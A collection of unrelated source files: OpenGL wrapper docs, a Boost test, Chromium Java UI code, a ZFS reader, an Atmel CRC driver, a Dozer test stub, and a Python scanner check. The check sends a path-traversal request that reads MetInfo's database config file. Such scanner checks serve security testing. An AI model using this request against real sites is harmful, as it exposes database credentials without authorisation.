static void Wrap(__TextureTarget target, __TextureWrap mode); /*<
Sets the texture wrap [^mode] on all coordinates meaningful for
the specified texture [^target].
>*/
#if GL_VERSION_4_3
static __PixelDataFormat DepthStencilMode(__TextureTarget target); /*<
Gets the depth stencil mode parameter.
See [glfunc GetTexParameter], [glconst DEPTH_STENCIL_TEXTURE_MODE].
>*/
static void DepthStencilMode(
__TextureTarget target,
__PixelDataFormat
mode); /*<
Sets the depth stencil mode parameter.
See [glfunc TexParameter], [glconst DEPTH_STENCIL_TEXTURE_MODE].
>*/
#endif
#if GL_ARB_seamless_cubemap_per_texture
static __Boolean Seamless(__TextureTarget target); /*<
Gets the seamless cubemap setting value.
See [glfunc GetTexParameter], [glconst TEXTURE_CUBE_MAP_SEAMLESS].
>*/
static void Seamless(__TextureTarget target, __Boolean enable); /*<
Changes the seamless cubemap setting value.
See [glfunc TexParameter], [glconst TEXTURE_CUBE_MAP_SEAMLESS].
>*/
#endif
#if GL_VERSION_4_5 || GL_ARB_texture_barrier || GL_NV_texture_barrier
static void Barrier(); /*<
Ensures that texture writes have been completed.
See [glfunc TextureBarrier].
>*/
#endif
static void GenerateMipmap(__TextureTarget target) /*<
Generates mipmap for the texture bound to the specified target.
See [glfunc GenerateMipmap].
>*/
};
//]
//[oglplus_texture_def
using TextureOps = ObjectOps<__tag_ExplicitSel, __tag_Texture>;
using Texture = __Object<TextureOps>;
using DefaultTexture =
__ObjectZero<__ObjZeroOps<__tag_ExplicitSel, __tag_Texture>>; /*<
Indirectly inherits from __ObjCommonOps_Texture<__tag_Texture>.
>*/
//]
//[oglplus_texture_sugar1
struct TextureTargetAndSlot {}; /*<
Helper class used with syntax-sugar operators.
Stores a texture target and an integer ['slot] number.
Depending on the context the slot may be interpreted as
the swizzle or wrap coordinate or image level number.
>*/
TextureTargetAndSlot operator|(__TextureTarget target, GLuint slot);
struct TextureUnitAndTarget {}; /*<
Helper class used with syntax-sugar operators.
Stores a texture unit number and a texture target.
>*/
TextureUnitAndTarget operator|(__TextureUnitSelector unit, __TextureTarget tex);
__TextureTarget operator<<(
const TextureOps& tex,
__TextureTarget target); /*<
Binds a texture object to the specified [^target].
>*/
__TextureTarget operator<<(
__TextureTarget target,
__TextureFilter filter); /*<
Sets texture minification and magnification filter
on the texture currently bound to [^target].
>*/
__TextureTarget operator<<(
__TextureTarget target,
__TextureMinFilter filter); /*<
Sets a texture minification filter
on the texture currently bound to [^target].
>*/
__TextureTarget operator<<(
__TextureTarget target,
__TextureMagFilter filter); /*<
Sets a texture magification filter
on the texture currently bound to [^target].
>*/
__TextureTarget operator<<(
__TextureTarget target,
__TextureCompareMode mode); /*<
Sets a texture compare mode
on the texture currently bound to [^target].
>*/
__TextureTarget operator<<(
__TextureTarget target,
__CompareFunction func); /*<
Sets a texture compare function
on the texture currently bound to [^target].
>*/
//]
//[oglplus_texture_sugar2
__TextureTarget operator<<(
__TextureTarget target, __TextureWrap wrap); /*<
Sets a texture wrap mode
on the texture currently bound to
[^target] on all texture dimensions.
>*/
TextureTargetAndSlot operator<<(
TextureTargetAndSlot tas,
__TextureWrap wrap); /*<
Sets a texture wrap mode
on the texture currently bound to target
on the dimension specified by the slot number in [^tas].
>*/
#if GL_VERSION_3_3 || GL_ARB_texture_swizzle
__TextureTarget operator<<(
__TextureTarget target,
__TextureSwizzle swizzle); /*<
Sets a texture swizzle mode
on the texture currently bound to [^target]
on all texture dimensions.
>*/
TextureTargetAndSlot operator<<(
TextureTargetAndSlot tas,
__TextureSwizzle
swizzle); /*<
Sets a texture swizzle mode
on the texture currently bound to target
on the dimension specified by the slot number in [^tas].
>*/
#endif
#if GL_VERSION_3_0
template <typename T>
__TextureTarget operator<<(
TextureTarget target,
const Vector<T, 4>& col); /*<
Sets a texture border color
on the texture currently bound to [^target].
>*/
#endif
__TextureTarget operator<<(
__TextureTarget target,
const __images_Image& image); /*<
Specifies the level 0 texture image
on the texture currently bound to [^target].
>*/
__TextureTarget operator<<(
__TextureTarget target, const __images_ImageSpec& image_spec);
__TextureTarget operator<<(
TextureTargetAndSlot tas,
const __images_Image& image); /*<
Specifies the texture image on the level
specified by the slot number in [^tas]
of the texture currently bound to target.
>*/
__TextureTarget operator<<(
TextureTargetAndSlot tas, const __images_ImageSpec& image_spec);
struct TextureMipmap {}; /*<
Helper class used with syntax-sugar operators.
Selects the GenerateMipmap member function.
>*/
__TextureTarget operator<<(
__TextureTarget target,
TextureMipmap); /*<
Generates mipmap on the texture currently bound to [^target].
>*/
//]
| 16,106
|
12,278
|
// Copyright <NAME> (<EMAIL>) 2010.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#include <boost/metaparse/util/in_range.hpp>
#include "common.hpp"
#include <boost/mpl/apply_wrap.hpp>
#include <boost/mpl/not.hpp>
#include <boost/mpl/assert.hpp>
#include "test_case.hpp"
BOOST_METAPARSE_TEST_CASE(util_in_range)
{
using boost::metaparse::util::in_range;
using boost::mpl::apply_wrap1;
using boost::mpl::not_;
// test_int_in_range
BOOST_MPL_ASSERT((apply_wrap1<in_range<int10, int13>, int12>));
// test_lower_bound
BOOST_MPL_ASSERT((apply_wrap1<in_range<int10, int13>, int10>));
// test_upper_bound
BOOST_MPL_ASSERT((apply_wrap1<in_range<int10, int13>, int13>));
// test_int_not_in_range
BOOST_MPL_ASSERT((not_<apply_wrap1<in_range<int10, int13>, int14> >));
}
| 398
|
14,668
|
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.chrome.browser.autofill_assistant.header;
import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
import android.animation.ValueAnimator;
import android.content.Context;
import android.view.View;
import android.view.ViewGroup;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import androidx.annotation.ColorInt;
import androidx.core.content.ContextCompat;
import org.chromium.base.ApiCompatibilityUtils;
import org.chromium.chrome.autofill_assistant.R;
import org.chromium.chrome.browser.autofill_assistant.AssistantTagsForTesting;
import org.chromium.chrome.browser.autofill_assistant.drawable.AssistantDrawableIcon;
import org.chromium.chrome.browser.autofill_assistant.generic_ui.AssistantDrawable;
import org.chromium.components.browser_ui.styles.SemanticColorUtils;
import org.chromium.components.browser_ui.widget.animation.Interpolators;
import org.chromium.ui.widget.ChromeImageView;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
/**
* Handles construction and state changes on a progress bar with steps.
*/
public class AssistantStepProgressBar {
private static final int ANIMATION_DELAY_MS = 1_000;
private static final int ICON_ENABLED_ANIMATION_DURATION_MS = 300;
private static final int LINE_ANIMATION_DURATION_MS = 1_000;
private static final int PULSING_DURATION_MS = 1_000;
// This controls the delay between the scaling of the pulsating and the alpha change. I.e. the
// animation starts scaling and after a while the alpha changes.
private static final int PULSING_ALPHA_CHANGE_DELAY_MS = 300;
private static final int PULSING_RESTART_DELAY_MS = 2_000;
private static final int COLOR_LIST = R.color.blue_when_enabled;
private static final int ERROR_COLOR_LIST = R.color.default_red;
private static class IconViewHolder {
private final RelativeLayout mView;
private final Context mContext;
private final View mPulsor;
private final ChromeImageView mIcon;
private final ValueAnimator mPulseAnimation;
private boolean mShouldRunAnimation;
private boolean mDisableAnimations;
private boolean mFirstAnimation;
IconViewHolder(ViewGroup view, Context context) {
mContext = context;
mView = addContainer(view, mContext);
mPulsor = addPulsor(mView, mContext);
mIcon = addIcon(mView, mContext);
mPulseAnimation = createPulseAnimation();
}
void setTag(String tag) {
mView.setTag(tag);
}
void disableAnimations(boolean disable) {
mDisableAnimations = disable;
}
private RelativeLayout addContainer(ViewGroup view, Context context) {
RelativeLayout container = new RelativeLayout(context);
view.addView(container);
int size = context.getResources().getDimensionPixelSize(
R.dimen.autofill_assistant_progress_icon_background_size);
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(size, size);
container.setLayoutParams(params);
return container;
}
private View addPulsor(RelativeLayout view, Context context) {
View pulsor = new View(context);
view.addView(pulsor);
RelativeLayout.LayoutParams params =
new RelativeLayout.LayoutParams(RelativeLayout.LayoutParams.MATCH_PARENT,
RelativeLayout.LayoutParams.MATCH_PARENT);
params.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
pulsor.setLayoutParams(params);
pulsor.setBackground(ApiCompatibilityUtils.getDrawable(
context.getResources(), R.drawable.autofill_assistant_circle_background));
pulsor.setVisibility(View.GONE);
return pulsor;
}
private ChromeImageView addIcon(RelativeLayout view, Context context) {
ChromeImageView icon = new ChromeImageView(context);
view.addView(icon);
int size = context.getResources().getDimensionPixelSize(
R.dimen.autofill_assistant_progress_icon_size);
RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(size, size);
params.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
icon.setLayoutParams(params);
ApiCompatibilityUtils.setImageTintList(
icon, ContextCompat.getColorStateList(context, COLOR_LIST));
icon.setEnabled(false);
return icon;
}
private ValueAnimator createPulseAnimation() {
ValueAnimator pulseAnimation = ValueAnimator.ofFloat(0f, PULSING_DURATION_MS);
pulseAnimation.setDuration(PULSING_DURATION_MS);
pulseAnimation.setInterpolator(Interpolators.LINEAR_INTERPOLATOR);
pulseAnimation.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animator) {
if (mShouldRunAnimation) {
mPulsor.setScaleX(0f);
mPulsor.setScaleY(0f);
mPulsor.setAlpha(1f);
mPulsor.setVisibility(View.VISIBLE);
}
}
@Override
public void onAnimationEnd(Animator animator) {
mPulsor.setVisibility(View.GONE);
mFirstAnimation = false;
if (mShouldRunAnimation) {
pulseAnimation.setStartDelay(PULSING_RESTART_DELAY_MS);
pulseAnimation.start();
}
}
});
pulseAnimation.addUpdateListener(animation -> {
float time = (float) animation.getAnimatedValue();
float scale = time / PULSING_DURATION_MS;
mPulsor.setScaleX(scale);
mPulsor.setScaleY(scale);
float alpha = time < PULSING_ALPHA_CHANGE_DELAY_MS ? 1
: 1
- ((time - PULSING_ALPHA_CHANGE_DELAY_MS)
/ (float) (PULSING_DURATION_MS
- PULSING_ALPHA_CHANGE_DELAY_MS));
mPulsor.setAlpha(alpha);
});
return pulseAnimation;
}
void setIcon(AssistantDrawable drawable) {
drawable.getDrawable(mContext, mIcon::setImageDrawable);
}
void setEnabled(boolean enabled) {
mIcon.setEnabled(enabled);
}
void startEnabledAnimation() {
if (mDisableAnimations) {
setEnabled(true);
return;
}
ValueAnimator animator = ValueAnimator.ofFloat(0f, 1f);
animator.setStartDelay(ANIMATION_DELAY_MS);
animator.setDuration(ICON_ENABLED_ANIMATION_DURATION_MS);
animator.setInterpolator(Interpolators.LINEAR_INTERPOLATOR);
animator.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animator) {
mIcon.setScaleX(0f);
mIcon.setScaleY(0f);
mIcon.setEnabled(true);
}
@Override
public void onAnimationEnd(Animator animator) {
mIcon.setScaleX(1f);
mIcon.setScaleY(1f);
}
});
animator.addUpdateListener(animation -> {
float animatedValue = (float) animation.getAnimatedValue();
mIcon.setScaleX(animatedValue);
mIcon.setScaleY(animatedValue);
});
animator.start();
}
void setPulsingAnimationEnabled(boolean pulsate) {
if (pulsate) {
startPulsingAnimation(/* delayed= */ false);
} else {
stopPulsingAnimation();
}
}
void startPulsingAnimation(boolean delayed) {
if (mDisableAnimations) {
return;
}
mFirstAnimation = true;
mShouldRunAnimation = true;
mPulseAnimation.setStartDelay(delayed
? ANIMATION_DELAY_MS + ICON_ENABLED_ANIMATION_DURATION_MS
+ LINE_ANIMATION_DURATION_MS
: 0);
mPulseAnimation.start();
}
private void stopPulsingAnimation() {
mShouldRunAnimation = false;
}
void setError(boolean error) {
if (mIcon.isEnabled() || !error) {
ApiCompatibilityUtils.setImageTintList(mIcon,
ContextCompat.getColorStateList(
mContext, error ? ERROR_COLOR_LIST : COLOR_LIST));
} else if ((!mPulseAnimation.isStarted() || mFirstAnimation) && !mDisableAnimations) {
// This is in case when the blue line is animating towards the icon that we need to
// set in error state. We want to wait for the line to reach the icon before turning
// the icon red.
mPulseAnimation.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animator) {
mPulseAnimation.removeListener(this);
ApiCompatibilityUtils.setImageTintList(
mIcon, ContextCompat.getColorStateList(mContext, ERROR_COLOR_LIST));
}
});
} else {
mPulseAnimation.cancel();
ApiCompatibilityUtils.setImageTintList(
mIcon, ContextCompat.getColorStateList(mContext, ERROR_COLOR_LIST));
}
}
}
private static class LineViewHolder {
private final Context mContext;
private final LinearLayout mView;
private final View mLineForeground;
private boolean mDisableAnimations;
LineViewHolder(ViewGroup view, Context context) {
mContext = context;
mView = addMainContainer(view, context);
RelativeLayout relativeContainer = addRelativeContainer(mView, context);
addBackgroundLine(relativeContainer, context);
mLineForeground = addForegroundLine(relativeContainer, context);
}
void setTag(String tag) {
mView.setTag(tag);
}
void disableAnimations(boolean disable) {
mDisableAnimations = disable;
}
private LinearLayout addMainContainer(ViewGroup view, Context context) {
LinearLayout container = new LinearLayout(context);
view.addView(container);
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(0,
context.getResources().getDimensionPixelSize(
R.dimen.autofill_assistant_progress_line_height));
params.weight = 1.0f;
container.setLayoutParams(params);
int padding = context.getResources().getDimensionPixelSize(
R.dimen.autofill_assistant_progress_padding);
container.setPadding(padding, 0, padding, 0);
return container;
}
private RelativeLayout addRelativeContainer(ViewGroup view, Context context) {
RelativeLayout container = new RelativeLayout(context);
view.addView(container);
return container;
}
private void addBackgroundLine(ViewGroup view, Context context) {
View line = new View(context);
view.addView(line);
line.setBackground(ApiCompatibilityUtils.getDrawable(context.getResources(),
R.drawable.autofill_assistant_rounded_corner_background));
line.setEnabled(false);
}
private View addForegroundLine(ViewGroup view, Context context) {
View line = new View(context);
view.addView(line);
line.setBackground(ApiCompatibilityUtils.getDrawable(context.getResources(),
R.drawable.autofill_assistant_rounded_corner_background));
line.setTag(AssistantTagsForTesting.PROGRESSBAR_LINE_FOREGROUND_TAG);
line.setEnabled(true);
line.setScaleX(0f);
return line;
}
void setEnabled(boolean enabled) {
mLineForeground.setScaleX(enabled ? 1f : 0f);
}
void startAnimation() {
if (mDisableAnimations) {
setEnabled(true);
return;
}
ValueAnimator animator = ValueAnimator.ofFloat(0f, 1f);
animator.setStartDelay(ANIMATION_DELAY_MS + ICON_ENABLED_ANIMATION_DURATION_MS);
animator.setDuration(LINE_ANIMATION_DURATION_MS);
animator.setInterpolator(Interpolators.LINEAR_INTERPOLATOR);
animator.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animator) {
mLineForeground.setScaleX(0f);
mLineForeground.setPivotX(0f);
}
@Override
public void onAnimationEnd(Animator animator) {
mLineForeground.setScaleX(1f);
mLineForeground.setPivotX(0f);
}
});
animator.addUpdateListener(animation -> {
float animatedValue = (float) animation.getAnimatedValue();
mLineForeground.setScaleX(animatedValue);
mLineForeground.setPivotX(-mLineForeground.getWidth());
});
animator.start();
}
void setError(boolean error) {
final @ColorInt int color = error
? ContextCompat.getColor(mContext, R.color.default_red)
: SemanticColorUtils.getDefaultIconColorAccent1(mContext);
mLineForeground.setBackgroundColor(color);
}
}
private final ViewGroup mView;
private int mNumberOfSteps;
private IconViewHolder[] mIcons;
private LineViewHolder[] mLines;
private int mCurrentStep = -1;
AssistantStepProgressBar(ViewGroup view) {
mView = view;
setSteps(new ArrayList<AssistantDrawable>() {
{
add(AssistantDrawable.createFromIcon(
AssistantDrawableIcon.PROGRESSBAR_DEFAULT_INITIAL_STEP));
add(AssistantDrawable.createFromIcon(
AssistantDrawableIcon.PROGRESSBAR_DEFAULT_FINAL_STEP));
}
});
}
public void setSteps(List<AssistantDrawable> icons) {
assert icons.size() >= 2;
// NOTE: instead of immediately removing the old icons, we first add the new ones. This
// prevents a change of the bottom sheet height, which was the cause for animation glitches
// (see b/174014637).
int oldNumChilds = mView.getChildCount();
mNumberOfSteps = icons.size();
mCurrentStep = -1;
mIcons = new IconViewHolder[mNumberOfSteps];
mLines = new LineViewHolder[mNumberOfSteps - 1];
for (int i = 0; i < mNumberOfSteps; ++i) {
mIcons[i] = new IconViewHolder(mView, mView.getContext());
mIcons[i].setIcon(icons.get(i));
mIcons[i].setTag(String.format(
Locale.getDefault(), AssistantTagsForTesting.PROGRESSBAR_ICON_TAG, i));
if (i < mNumberOfSteps - 1) {
mLines[i] = new LineViewHolder(mView, mView.getContext());
mLines[i].setTag(String.format(
Locale.getDefault(), AssistantTagsForTesting.PROGRESSBAR_LINE_TAG, i));
}
}
mView.removeViews(0, oldNumChilds);
}
public void setVisible(boolean visible) {
mView.setVisibility(visible ? View.VISIBLE : View.GONE);
}
public void disableAnimations(boolean disable) {
for (IconViewHolder icon : mIcons) {
icon.disableAnimations(disable);
}
for (LineViewHolder line : mLines) {
line.disableAnimations(disable);
}
}
public void setActiveStep(int step) {
assert step >= 0 && step <= mNumberOfSteps;
assert step >= mCurrentStep;
if (step == mCurrentStep) {
return;
}
for (int i = 0; i < mNumberOfSteps; ++i) {
if (i == mCurrentStep && step == mCurrentStep + 1) {
mIcons[i].startEnabledAnimation();
} else {
mIcons[i].setEnabled(i < step);
}
if (i == step && step == mCurrentStep + 1 && mCurrentStep != -1) {
// In case we advance to a new step, start the enable animation on the current
// icon. If not for the first step, start the pulsating animation with a delay such
// that it only starts after the other animations have run.
mIcons[i].startPulsingAnimation(/* delayed= */ true);
} else {
mIcons[i].setPulsingAnimationEnabled(i == step);
}
if (i < mNumberOfSteps - 1) {
if (i == step - 1 && step == mCurrentStep + 1) {
mLines[i].startAnimation();
} else {
mLines[i].setEnabled(i < step);
}
}
}
mCurrentStep = step;
}
public void setError(boolean error) {
boolean errorAfterCompletion = error && mCurrentStep >= mNumberOfSteps;
for (int i = 0; i < mNumberOfSteps; ++i) {
mIcons[i].setError(errorAfterCompletion || (error && i == mCurrentStep));
mIcons[i].setPulsingAnimationEnabled(!error && i == mCurrentStep);
}
for (LineViewHolder line : mLines) {
line.setError(errorAfterCompletion);
}
}
}
| 8,783
|
600
|
<filename>zfs/pool.py
import os.path
from typing import List
from typing import Union
from typing import overload
from . import constants
from . import objectset
from . import readcontext
from . import datasets
from . import vdevs
from . import posix
def vdev_list_to_dict(vdevs):
d = {}
for v in vdevs:
d[v.id] = v
return d
class Pool(object):
def __init__(self, vdevs: List[vdevs.VDev], try_config=None) -> None:
self.vdevs = vdev_list_to_dict(vdevs)
self.default_compression = constants.Compression.LZJB
self.default_checksum = constants.Checksum.FLETCHER_4
self.ashift = self.first_vdev().best_label[b'vdev_tree'][b'ashift']
self.version = self.first_vdev().best_label[b'version']
self.try_config = try_config or set()
self._meta_object_sets = {}
def first_vdev(self) -> vdevs.VDev:
return list(self.vdevs.values())[0]
def context(self) -> readcontext.ReadContext:
return readcontext.ReadContext(
self.vdevs,
self.default_compression,
self.default_checksum,
self.ashift,
self.try_config
)
def read_block(self, blkptr) -> bytes:
return self.context().read_block(blkptr)
def read_indirect(self, blkptr) -> bytes:
return self.context().read_indirect(blkptr)
def read_dnode(self, dnode) -> bytes:
return self.context().read_dnode(dnode)
def read_file(self, path: str) -> bytes:
pathes = os.path.split(path)
if len(pathes) != 2:
raise NotImplementedError
filename = pathes[-1]
dir_ents = self.open(pathes[0])
if filename not in dir_ents:
raise OSError("file not found: {}".format(filename))
return dir_ents[filename].read()
@overload
def objset_for_vdev(self, vdev: int) -> objectset.ObjectSet:
...
@overload
def objset_for_vdev(self, vdev: vdevs.VDev) -> objectset.ObjectSet:
...
def objset_for_vdev(self, vdev) -> objectset.ObjectSet:
if isinstance(vdev, int):
vdev = self.vdevs[vdev]
root = self.read_indirect(vdev.active_uberblock.root)
vdev_id = vdev.id
if vdev_id not in self._meta_object_sets:
self._meta_object_sets[vdev_id] = objectset.ObjectSet.from_block(self, root)
return self._meta_object_sets[vdev_id]
@property
def root_dataset(self) -> datasets.Dataset:
objset = self.objset_for_vdev(self.first_vdev())
dir_index = objset[1]['root_dataset']
dataset = objset[dir_index]
return dataset
def metaslab_array(self):
location = self.first_vdev().best_label[b'metaslab_array']
return self.objset_for_vdev(self.first_vdev())[location]
def dataset_for(self, dataset_expr: str) -> datasets.Dataset:
if '@' not in dataset_expr:
dataset_expr += '@'
dataset_name, snapshot_name = dataset_expr.split('@', 1)
ds = self.open(dataset_name)
if isinstance(ds, datasets.Dataset):
return ds.snapshots.get(snapshot_name, ds)
else:
raise KeyError
def open(self, path: str) -> Union[datasets.Dataset, posix.Directory]:
paths = path.lstrip('/').split('/')
current = self.root_dataset
if paths == ['']:
return current
for next_dir in paths:
current = current[next_dir]
return current
| 1,587
|
7,482
|
/**
* \file
*
* \brief SAM DMA cyclic redundancy check (CRC) Driver
*
* Copyright (C) 2014-2015 Atmel Corporation. All rights reserved.
*
* \asf_license_start
*
* \page License
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. The name of Atmel may not be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* 4. This software may only be redistributed and used in connection with an
* Atmel microcontroller product.
*
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* \asf_license_stop
*
*/
/*
* Support and FAQ: visit <a href="http://www.atmel.com/design-support/">Atmel Support</a>
*/
#ifndef DMA_CRC_H_INCLUDED
#define DMA_CRC_H_INCLUDED
#include <compiler.h>
#ifdef __cplusplus
extern "C" {
#endif
/** DMA channel n offset. */
#define DMA_CRC_CHANNEL_N_OFFSET 0x20
/** CRC Polynomial Type. */
enum crc_polynomial_type {
/** CRC16 (CRC-CCITT). */
CRC_TYPE_16,
/** CRC32 (IEEE 802.3). */
CRC_TYPE_32,
};
/** CRC Beat Type. */
enum crc_beat_size {
/** Byte bus access. */
CRC_BEAT_SIZE_BYTE,
/** Half-word bus access. */
CRC_BEAT_SIZE_HWORD,
/** Word bus access. */
CRC_BEAT_SIZE_WORD,
};
/** Configurations for CRC calculation. */
struct dma_crc_config {
/** CRC polynomial type. */
enum crc_polynomial_type type;
/** CRC beat size. */
enum crc_beat_size size;
};
/**
* \brief Get DMA CRC default configurations.
*
* The default configuration is as follows:
* \li Polynomial type is set to CRC-16(CRC-CCITT)
* \li CRC Beat size: BYTE
*
* \param[in] config default configurations
*/
static inline void dma_crc_get_config_defaults(struct dma_crc_config *config)
{
Assert(config);
config->type = CRC_TYPE_16;
config->size = CRC_BEAT_SIZE_BYTE;
}
/**
* \brief Enable DMA CRC module with an DMA channel.
*
* This function enables a CRC calculation with an allocated DMA channel. This channel ID
* can be gotten from a successful \ref dma_allocate.
*
* \param[in] channel_id DMA channel expected with CRC calculation
* \param[in] config CRC calculation configurations
*
* \return Status of the DMC CRC.
* \retval STATUS_OK Get the DMA CRC module
* \retval STATUS_BUSY DMA CRC module is already taken and not ready yet
*/
static inline enum status_code dma_crc_channel_enable(uint32_t channel_id,
struct dma_crc_config *config)
{
if (DMAC->CRCSTATUS.reg & DMAC_CRCSTATUS_CRCBUSY) {
return STATUS_BUSY;
}
DMAC->CRCCTRL.reg = DMAC_CRCCTRL_CRCBEATSIZE(config->size) |
DMAC_CRCCTRL_CRCPOLY(config->type) |
DMAC_CRCCTRL_CRCSRC(channel_id+DMA_CRC_CHANNEL_N_OFFSET);
DMAC->CTRL.reg |= DMAC_CTRL_CRCENABLE;
return STATUS_OK;
}
/**
* \brief Disable DMA CRC module.
*
*/
static inline void dma_crc_disable(void)
{
DMAC->CTRL.reg &= ~DMAC_CTRL_CRCENABLE;
DMAC->CRCCTRL.reg = 0;
}
/**
* \brief Get DMA CRC checksum value.
*
* \return Calculated CRC checksum.
*/
static inline uint32_t dma_crc_get_checksum(void)
{
if (DMAC->CRCCTRL.bit.CRCSRC == DMAC_CRCCTRL_CRCSRC_IO_Val) {
DMAC->CRCSTATUS.reg = DMAC_CRCSTATUS_CRCBUSY;
}
return DMAC->CRCCHKSUM.reg;
}
/**
* \brief Enable DMA CRC module with I/O.
*
* This function enables a CRC calculation with I/O mode.
*
* \param[in] config CRC calculation configurations.
*
* \return Status of the DMC CRC.
* \retval STATUS_OK Get the DMA CRC module
* \retval STATUS_BUSY DMA CRC module is already taken and not ready yet
*/
static inline enum status_code dma_crc_io_enable(
struct dma_crc_config *config)
{
if (DMAC->CRCSTATUS.reg & DMAC_CRCSTATUS_CRCBUSY) {
return STATUS_BUSY;
}
if (DMAC->CTRL.reg & DMAC_CTRL_CRCENABLE) {
return STATUS_BUSY;
}
DMAC->CRCCTRL.reg = DMAC_CRCCTRL_CRCBEATSIZE(config->size) |
DMAC_CRCCTRL_CRCPOLY(config->type) |
DMAC_CRCCTRL_CRCSRC_IO;
if (config->type == CRC_TYPE_32) {
DMAC->CRCCHKSUM.reg = 0xFFFFFFFF;
}
DMAC->CTRL.reg |= DMAC_CTRL_CRCENABLE;
return STATUS_OK;
}
/**
* \brief Calculate CRC with I/O.
*
* This function calculate the CRC of the input data buffer.
*
* \param[in] buffer CRC Pointer to calculation buffer
* \param[in] total_beat_size Total beat size to be calculated
*
* \return Calculated CRC checksum value.
*/
static inline void dma_crc_io_calculation(void *buffer,
uint32_t total_beat_size)
{
uint32_t counter = total_beat_size;
uint8_t *buffer_8;
uint16_t *buffer_16;
uint32_t *buffer_32;
for (counter=0; counter<total_beat_size; counter++) {
if (DMAC->CRCCTRL.bit.CRCBEATSIZE == CRC_BEAT_SIZE_BYTE) {
buffer_8 = buffer;
DMAC->CRCDATAIN.reg = buffer_8[counter];
} else if (DMAC->CRCCTRL.bit.CRCBEATSIZE == CRC_BEAT_SIZE_HWORD) {
buffer_16 = buffer;
DMAC->CRCDATAIN.reg = buffer_16[counter];
} else if (DMAC->CRCCTRL.bit.CRCBEATSIZE == CRC_BEAT_SIZE_WORD) {
buffer_32 = buffer;
DMAC->CRCDATAIN.reg = buffer_32[counter];
}
/* Wait several cycle to make sure CRC complete */
nop();
nop();
nop();
nop();
}
}
#ifdef __cplusplus
}
#endif
#endif /* DMA_CRC_H_INCLUDED */
| 2,327
|
351
|
<reponame>taomujian/linbing<gh_stars>100-1000
#!/usr/bin/env python3
from app.lib.utils.request import request
from app.lib.utils.common import get_useragent
class Metinfo_Anyfile_Read_BaseVerify:
def __init__(self, url):
self.info = {
'name': 'Metinfo任意文件读取漏洞',
'description': 'Metinfo任意文件读取漏洞,影响范围为: MetInfo 6.0.0~6.1.0',
'date': '2018-08-27',
'exptype': 'check',
'type': 'File Read'
}
self.url = url
if not self.url.startswith("http") and not self.url.startswith("https"):
self.url = "http://" + self.url
self.headers = {
"User-Agent": get_useragent()
}
def check(self):
"""
检测是否存在漏洞
:param:
:return bool True or False: 是否存在漏洞
"""
try:
check_url = self.url + '/member/index.php?a=doshow&m=include&c=old_thumb&dir=http/./.../..././/./.../..././/config/config_db.php'
req = request.get(check_url, headers = self.headers)
if "con_db_id" in req.text and req.status_code==200:
print('存在Metinfo任意文件读取漏洞')
return True
else:
print('不存在Metinfo任意文件读取漏洞')
return False
except Exception as e:
print(e)
print('不存在Metinfo任意文件读取')
return False
finally:
pass
if __name__ == '__main__':
Metinfo_Anyfile_Read = Metinfo_Anyfile_Read_BaseVerify('http://127.0.0.1:8080')
Metinfo_Anyfile_Read.check()
| 934
|
1,838
|
/*
* Copyright 2005-2019 Dozer Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.github.dozermapper.core.propertydescriptor;
import com.github.dozermapper.core.AbstractDozerTest;
import com.github.dozermapper.core.config.BeanContainer;
import com.github.dozermapper.core.factory.DestBeanCreator;
import com.github.dozermapper.core.fieldmap.DozerField;
import com.github.dozermapper.core.vo.deep3.Dest;
import com.github.dozermapper.core.vo.deep3.NestedDest;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
public class GetterSetterPropertyDescriptorWithGenericSuperClassTest extends AbstractDozerTest {
@Test
public void testGetReadMethod() {
DozerField dozerField = new DozerField("nestedList", "generic");
BeanContainer beanContainer = new BeanContainer();
